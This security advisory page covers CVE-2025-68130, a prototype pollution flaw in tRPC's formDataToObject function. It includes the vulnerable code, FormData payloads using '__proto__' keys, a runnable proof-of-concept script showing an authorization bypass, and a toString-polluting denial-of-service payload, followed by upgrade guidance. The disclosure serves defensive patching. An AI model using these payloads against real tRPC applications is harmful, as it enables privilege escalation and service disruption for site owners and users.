Loading...
Skip to main content

CVE-2025-68130 — tRPC has possible prototype pollution in...

HIGH

tRPC has possible prototype pollution in `experimental_nextAppDirCaller`

Published December 16, 2025Updated September 10, 2026Source: osv

Summary

> Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. ## Summary A Prototype Pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. ## Affected Versions - **Package:** `@trpc/server` - **Affected Versions:** >=10.27.0 - **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts` ## Vulnerability Details ### Root Cause The `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`. ### Vulnerable Code ```typescript // packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts function set(obj, path, value) { if (path.length > 1) { const newPath = [...path]; const key = newPath.shift(); // ← No validation of dangerous keys const nextKey = newPath[0]; if (!obj[key]) { // ← Accesses obj["__proto__"] which returns Object.prototype obj[key] = isNumberString(nextKey) ? [] : {}; } set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype return; } // ... } export function formDataToObject(formData) { const obj = {}; for (const [key, value] of formData.entries()) { const parts = key.split(/[\.\[\]]/).filter(Boolean); // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"] set(obj, parts, value); } return obj; } ``` ### Attack Vector When a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData: ```typescript // packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89 if (normalizeFormData && input instanceof FormData) { input = formDataToObject(input); // ← Vulnerable call } ``` An attacker can craft FormData with malicious field names: ```javascript const formData = new FormData(); formData.append("__proto__[isAdmin]", "true"); formData.append("__proto__[role]", "superadmin"); ``` When processed, this pollutes `Object.prototype`: ```javascript {}.isAdmin // → "true" {}.role // → "superadmin" ``` ## Proof of Concept ```bash # Step 1: Create the project directory mkdir trpc-vuln-poc cd trpc-vuln-poc # Step 2: Initialize npm npm init -y # Step 3: Install vulnerable tRPC npm install @trpc/server@11.7.2 # Step 4: Create the test file ``` --- ### Test.js ```javascript const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import'); console.log("=== PoC Prototype Pollution en tRPC ===\n"); console.log("[1] Estado inicial:"); console.log(" {}.isAdmin =", {}.isAdmin); const fd = new FormData(); fd.append("__proto__[isAdmin]", "true"); fd.append("__proto__[role]", "superadmin"); fd.append("username", "attacker"); console.log("\n[2] FormData malicioso:"); console.log(' __proto__[isAdmin] = "true"'); console.log(' __proto__[role] = "superadmin"'); console.log("\n[3] Llamando formDataToObject()..."); const result = formDataToObject(fd); console.log(" Resultado:", JSON.stringify(result)); console.log("\n[4] Después del ataque:"); console.log(" {}.isAdmin =", {}.isAdmin); console.log(" {}.role =", {}.role); const user = { id: 1, name: "john" }; console.log("\n[5] Impacto en autorización:"); console.log(" Usuario normal:", JSON.stringify(user)); console.log(" user.isAdmin =", user.isAdmin); if (user.isAdmin) { console.log("\n VULNERABLE - Authorization bypass exitoso!"); } else { console.log("\n ✓ Seguro"); } ``` ## Impact ### Authorization Bypass (HIGH) Many applications check user permissions using property access: ```javascript // Vulnerable pattern if (user.isAdmin) { // Grant admin access } ``` After pollution, **all objects** will have `isAdmin: "true"`, bypassing authorization. ### Denial of Service (MEDIUM) Polluting commonly used property names can crash applications: ```javascript formData.append("__proto__[toString]", "not_a_function"); // All subsequent .toString() calls will fail ```

Advisory Timeline

  • First published December 16, 2025 (300 days ago).
  • Last revised September 10, 2026 — 267 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update @trpc/server to 10.45.3 or later
npm install @trpc/server@10.45.3
npm
Update @trpc/server to 11.8.0 or later
npm install @trpc/server@11.8.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
@trpc/server
npm
All versions10.45.3
@trpc/server
npm
All versions11.8.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-1321
    Prototype PollutionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L

Frequently Asked Questions

What is CVE-2025-68130?
tRPC has possible prototype pollution in `experimental_nextAppDirCaller` This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2025-68130?
CVE-2025-68130 affects @trpc/server. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-68130 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-43p4-m455-4f4j

Related CVEs

  • CVE-2026-107375
    HIGH

    JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort

  • CVE-2026-107384
    HIGH

    MariaDB Connector/Node.js: SQL injection through object keys in SET expansion (permitSetMultiParamEntries)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies